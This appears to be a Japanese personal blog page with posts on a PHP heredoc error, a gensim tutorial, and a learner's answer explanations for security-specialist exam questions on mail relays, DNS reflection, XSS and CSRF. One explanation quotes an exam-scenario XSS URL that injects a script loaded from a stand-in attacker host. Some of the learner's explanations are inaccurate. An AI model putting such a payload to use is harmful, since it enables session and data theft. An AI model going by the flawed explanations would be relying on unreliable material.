mk-toolブログ

エンジニアと家のことをごちゃごちゃと書いてます

【php】EOMを使用してエラー

php(Laravel)でヒアドキュメントを使用してHTMLを出力しようとした。

$htmlString = <<< EOM

// ここにいろいろhtmlを書く

EOM;

しかし、以下のようなエラーが発生した。

syntax error, unexpected end of file

エディタで

EOM;

にインデントが付いていることが原因だった。
なんだか気持ち悪いけど、「EOM;」だけはインデントなしで。。。

【セスペ】午前午後解答自分確認用

自分確認用で書いていますが、誰かの参考になれば。。。

 

午後

午後問題解答状況。コメントをいただければ解説を自分なりに書きます。

(全部書くのはめんどくさくなりました!)

◯:解説書きました、△:解くことは解きました、×:これから解きます

時期午後Ⅰ午後Ⅱ
問1問2問3問4問1問2
平成28春 × なし ×
平成25春 × × ×
平成24春 × ×

 

午前&午後の不安な単語(皆さんも確認してみてください)

単語説明
DNSSECDNSキャッシュポイズニングを防止するための技術。レコードに対してディジタル署名を付与する。

 

【機械学習】gensimのチュートリアルをやってみた(その2)

さて、その1の続きを書きます。

ディクショナリーへの登録を行います。
Pythonで辞書をforで作成する際「キーがー存在する場合はバリューを更新」「存在しない場合はキー:バリューを追加」したい場合は標準ライブラリのdefaultdictを使うのが良いそうです。
まずは初期化のおまじないです。

from collections import defaultdict
frequency = defaultdict(int)

現在の変数textsの中身は以下のようになっています。

[['human', 'machine', 'interface', 'lab', 'abc', 'computer', 'applications'],
 ['survey', 'user', 'opinion', 'computer', 'system', 'response', 'time'],
 ['eps', 'user', 'interface', 'management', 'system'],
 ['system', 'human', 'system', 'engineering', 'testing', 'eps'],
 ['relation', 'user', 'perceived', 'response', 'time', 'error', 'measurement'],
 ['generation', 'random', 'binary', 'unordered', 'trees'],
 ['intersection', 'graph', 'paths', 'trees'],
 ['graph', 'minors', 'iv', 'widths', 'trees', 'well', 'quasi', 'ordering'],
 ['graph', 'minors', 'survey']]

この中のそれぞれの文字の出現回数をカウントします。二次元配列なのでfor文を入れ子にします。

for text in texts:
     for token in text:
         frequency[token] += 1

この段階での配列frequencyの中身は以下のようになっています。
文字と出現回数が結びついていますね。

defaultdict(<class 'int'>, {'abc': 1, 'error': 1, 'iv': 1, 'widths': 1, 'testing': 1, 'survey': 2, 'eps': 2, 'opinion': 1, 'intersection': 1, 'time': 2, 'minors': 2, 'machine': 1, 'well': 1, 'interface': 2, 'measurement': 1, 'ordering': 1, 'management': 1, 'graph': 3, 'human': 2, 'user': 3, 'computer': 2, 'applications': 1, 'relation': 1, 'binary': 1, 'generation': 1, 'lab': 1, 'quasi': 1, 'trees': 3, 'unordered': 1, 'response': 2, 'paths': 1, 'engineering': 1, 'random': 1, 'system': 4, 'perceived': 1})

この中で出現回数が1回だけのものは除く処理を行います。

texts = [[token for token in text if frequency[token] > 1] for text in texts]

これで変数textsの中身が以下のようになりました。

[['human', 'interface', 'computer'],
 ['survey', 'user', 'computer', 'system', 'response', 'time'],
 ['eps', 'user', 'interface', 'system'],
 ['system', 'human', 'system', 'eps'],
 ['user', 'response', 'time'],
 ['trees'],
 ['graph', 'trees'],
 ['graph', 'minors', 'trees'],
 ['graph', 'minors', 'survey']]

そして、gensimの特徴語ディクショナリーを作成します。

dictionary = corpora.Dictionary(texts)
dictionary.save('/tmp/deerwester.dict')  # ディクショナリーを保存します
print(dictionary.token2id)

出力される値が以下のように配列textsのキーに対してidが割り振られています。

{'human': 1, 'user': 5, 'computer': 2, 'survey': 4, 'eps': 8, 'time': 7, 'system': 6, 'response': 3, 'interface': 0, 'minors': 11, 'trees': 9, 'graph': 10}

これらの配列をgensimのBug of Wordsで各文の特徴語をカウントして特徴ベクトルを作ります。
先ほど作成した特徴語ディクショナリーにdoc2bowメソッドにより、文の単語に一致するidと出現頻度をタプルで返してくれます。
これにより、類似したcorpusを検索することで、それっぽい言葉を取り出せるものと思う。

corpus = [dictionary.doc2bow(text) for text in texts]
corpora.MmCorpus.serialize('/tmp/deerwester.mm', corpus) #後で使えるように保存(corpusは膨大になってしまうため)
print(corpus)

出力結果は以下のようになります。

[[(0, 1), (1, 1), (2, 1)], [(2, 1), (3, 1), (4, 1), (5, 1), (6, 1), (7, 1)], [(0, 1), (5, 1), (6, 1), (8, 1)], [(1, 1), (6, 2), (8, 1)], [(3, 1), (5, 1), (7, 1)], [(9, 1)], [(9, 1), (10, 1)], [(9, 1), (10, 1), (11, 1)], [(4, 1), (10, 1), (11, 1)]]

よし、これで基本的な動かし方は分かったぞ。。。

【機械学習】gensimのチュートリアルをやってみた(その1)

gensimのチュートリアルをやってみました。
pythonがあまりわからないので、わからない関数があったらそこも触れながら。

チュートリアルは以下です。
radimrehurek.com

このうちの「Corpora and Vector Spaces」をやってみます。

まず、9つの文を配列として用意しています。

from gensim import corpora
documents = ["Human machine interface for lab abc computer applications",
              "A survey of user opinion of computer system response time",
              "The EPS user interface management system",
              "System and human system engineering testing of EPS",
              "Relation of user perceived response time to error measurement",
              "The generation of random binary unordered trees",
              "The intersection graph of paths in trees",
              "Graph minors IV Widths of trees and well quasi ordering",
              "Graph minors A survey"]

次に、先ほど用意した文の中で頻繁に出てくる冠詞や前置詞(あってる?)等を除くために
除く用のリストを作成します。

stoplist = set('for a of the and to in'.split())

pythonのset関数がよくわからないので調べました。

#実行コマンド
spam1 = set('monty python')
spam2 = set('monty python'.split())
spam3 = set(['monty','python',])

spam1
spam2
spam3
#実行結果
{' ', 'h', 'm', 'n', 'o', 'p', 't', 'y'} #setはランダムでしかも文字列の重複がないように格納されるのですね
{'monty', 'python'} #split()で半角空白で文字列を区切り配列としてセット
{'monty', 'python'} #これでも良さそうです

用意した文を配列として格納します(stoplistに登録した文字は除きます)。

texts = [[word for word in document.lower().split() if word not in stoplist] for document in documents]

この書き方は、、、わからん!調べました。
これは「リスト内包表記」というらしいのですが、forの書き方を省略できるみたいです。
例えば、

data = [1, 2, 3, 4, 5]
newData = []
for d in data:
  newData.append(d * 2) #配列dataの中身を2倍にする

という書き方は、

data = [1, 2, 3, 4, 5]
newData = [d * 2 for d in data]

という書き方に置き換えられます。配列へのappendがかなりすっきりかけますね!

さらに、

data = [1, 2, 3, 4, 5]
newData = []
for d in data:
    if d % 2 == 0:
        newData.append(d * 2)

という書き方は

data = [1, 2, 3, 4, 5]
newData = [d * 2 for d in data if d % 2 == 0]

という書き方に置き換えられます。すごい!

お世話になったサイト
www.yoheim.net
openbook4.me


長くなるのでここで一度きります。続きは以下です。
【機械学習】gensimのチュートリアルをやってみた(その2) - gamushiroS’s diary

【セスペ】平成28年度春期午後1問2解説

難易度:易

 

概要

ネットワークセキュリティに関する問題。

わからない単語が多い場合は避けるのが吉。単語がわかる場合はすぐに解答が出る問題。

 

設問1

「迷惑メールの送信に悪用される」と来た時点で早押し問題で「第三者中継」と答えたくなりますが、一応解説をします。エンベロープの宛先メールアドレスのドメイン名がU社のドメイン以外のものを拒否、とあります。外部からの通常のメールは必ずU社ドメインに対して送信されます。仮にU社ドメインでない場合は、外部メールサーバはメールを中継し、宛先メールアドレスに対してメールを中継します。

答えは「a. オープンリレー(第三者中継)」

 

SPFの設定値に関しては、図2に例がある。ドメイン名とIPアドレスが書かれているが、IPアドレスをもとに名前解決を行い、SPFに設定したドメイン名と一致するかを確認する。そのため、メールの送信元のIPからドメイン名を割り出し、送信元のドメイン名と一致するかを確認することができる。

そのため、答えは「b. 送信(元)ドメイン

 

設問2

オープンリゾルバに関して以下のような記事を見つけました。

DoS攻撃を行おうとする攻撃者は、 DNSパケットの送信元IPアドレスを攻撃対象のIPアドレスに偽装し、 DNSパケットをオープンリゾルバとなっているDNSサーバなどへ送ります。 そのDNSパケットを受け取ったオープンリゾルバは、 名前解決を行い回答を送信しようとしますが、 実際にDNSパケットを送信した攻撃者ではなく、 DNSパケットに設定されている偽装されたIPアドレス宛、 すなわち攻撃対象宛に送信してしまいます。 

攻撃者は送信元IPアドレスを攻撃対象に偽装し、大量の名前解決を行うことでDoS攻撃を行います。この際、DNSの名前解決の返答によりDoS攻撃を成立させるため、攻撃をDNSリフレクションと呼びます。

答えは「DNSリフレクション」です。

インターネット用語1分解説~オープンリゾルバとは~ - JPNIC

 

設問3

(1)

DNSキャッシュポイズニングでは、キャッシュDNSサーバが権威DNSサーバへの問い合わせを行い、権威DNSサーバから名前解決の結果を受け取る前に偽パケットの注入を行います。この際、キャッシュサーバのポートはランダムにすることでキャッシュサーバへのキャッシュを防止することができます。

(ちなみに権威サーバでは53番ポートを使用)

そのため、答えは「送信元ポート番号」

 

(2)

図4で取引先のMXレコードを書き換えたため、取引先へのメールが攻撃者に届いてしまうようになります。

そのため、答えは「外部メールサーバ」と「取引先宛てのメールを,攻撃者が用意したメールサーバに転送して しまう」です。

 

(3)

これは、、、サービス問題。

12ページに「フィルタリングしようと設定してみたが、パス名を含めたURL全体を設定できず、ホスト単位のフィルタリングだけが設定できる仕様」と書いていますね。CONNECTメソッドをよく知らなくても解けます。

答えは「パス名を送信しないという仕様」です。

 

設問4

インターネットから複合機用メールアドレスからメールが来るわけはありません。これはブラックリストで防ぐ必要があります。送信元なので、ブラックリスト1かブラックリスト3が該当します。メールヘッダの送信元アドレスかエンベロープの送信元アドレスかで分かれていますが、通常のメールの送信元はメールヘッダの送信元の事を指します。エンベロープ内のメールアドレスはメールの中継元を指すので異なります。そのため、ブラックリスト3で防ぎます。

 

答えは「ブラックリスト3」と「scanner@u-sha.co.jpを登録する」です。

【セスペ】平成28年度春期午後1問1解説

難易度:易

 

概要

WebアプリケーションにおいてXSSCSRFの理解を問う問題。

 

設問1

(1)

図6の4行目の「action」の中身に「https://wana.example.jp/login」という記述があります。このことから、「ログイン」ボタンを押下すると「「https://wana.example.jp/login」」へ遷移することになります。

回答は、FQDNで回答する必要があります。

FQDNとは完全修飾ドメイン名のことです。つまり、Webサーバの名前をホスト名もドメイン名も省略しないで書いてくださいということです。「https://wana.example.jp/login」のホスト名は「wana」、ドメイン名は「example.jp」といったところでしょうか。これを省略しないで書くので「wana.example.jp」が答えです。

 

(2)

画面2-2'を表示する際は「https://kensho.m-sha.co.jp/Gamen2_2?keyword="<script src =%22https://wana.example.jp/Login.js%22>"」によって表示されるため、URLのホスト部FQDNで「kensho.m-sha.co.jp」です。

 

(3)

フレームを使用すると、Webページ上に自身とは異なるコンテンツを表示することができます。しかしながら、これはクリックジャッキングという攻撃を引き起こす原因となります。本来表示されるページのボタンに覆いかぶさるように悪意のあるページのボタンがある場合は、クライアントはボタン押下後に悪意のあるページに遷移されてしまいます。これを防ぐために、「Same Origin Policy」という仕組みで防御されています。

 

(4)

図7のコードでは「Same Origin Policy」が役立ちません、と書いてあります。このことから、設問箇所では「kensho.m-sha.co.jp」内のページを読み込んでいることがわかります。さらに「?」パラメータを以降でwana.example.jpのヤバそうなjsを渡しています。図4の図では、画面2-2のソースコードがありますが「keyword」に対して不正なスクリプトを入れ込むと良さそうです。

そのため、答えは「https://kensho.m-sha.co.jp/Gamen2_2」と「keyword」です。

これだと、「frame」要素が2つあるから、画面3_7と画面2-2の2つが表示されるから異変に気づかれてしまうのではないかと考えるかと思いますが、パラメータで指定しているjsで図6の1行目のような「document.body.innerHTML=""」で画面2-2が出ないようにしているものと思われます。画面2-2を利用しているのはパラメータ「keyword」に対して不正なスクリプトを埋め込めるためです。

 

(5)

(4)でも少し触れましたが図7のパラメータにはヤバそうなjsが指定されていました。おそらくこのjsで画面3-7で情報抽出をして、悪意のあるサーバに対して情報を送るものと考えられます。ユーザの情報がjsによって抽出されるためには、ユーザがログインをしている必要があります。

そのため、「懸賞メンバとしてログインしている場合」が答えです。

 

設問2

(1)

CSRF攻撃は別名として「リクエスト強要」と呼ばれます。例えば悪意のあるサイトでボタンをクリックしたとします。ボタン押下時に「2ちゃんねる」にリクエストが強要されて勝手に書き込みをされてしまう、というのがSCRFです。そのため、「2ちゃんねる」側の立場では、その人が正規のルートを辿って書き込みを行っているかを確認する必要があります。

これを予想不可能なランダムな値をWebサイトのhiddenタグに埋め込み、リクエスト時にサーバの保持するランダムな値と突き合わせを行い、リクエストが悪いものでないかを評価します。

そのため答えは「ランダムな値」「hidden」です。

 

(2)

先ほどの「2ちゃんねる」の話ではありませんが、書き込みを行って書き込みボタンを押すような操作がある箇所が該当箇所になります。

答えは(ウ)です。

 

設問3

(1)

設問1(4)では画面2-2に対して直接悪意のあるスクリプトを埋め込んでおりました。そのため、画面2-1で入力値のチェックを行っても画面2-2に対して不正なスクリプトを埋め込まれる危険性は無くなりません。

そのため、答えは「攻撃者は画面2-1を経由せずに2-2にアクセスできるから」となります。 

 

(2)

画面2-2への不正なスクリプトの埋め込みはフロントエンドで精一杯不正できましたが、サーバ側で画面2-2を表示する際に入力値チェックを行うのが良いです。

答えは「サーバサイド」です。

 

(3)

なんだこれー!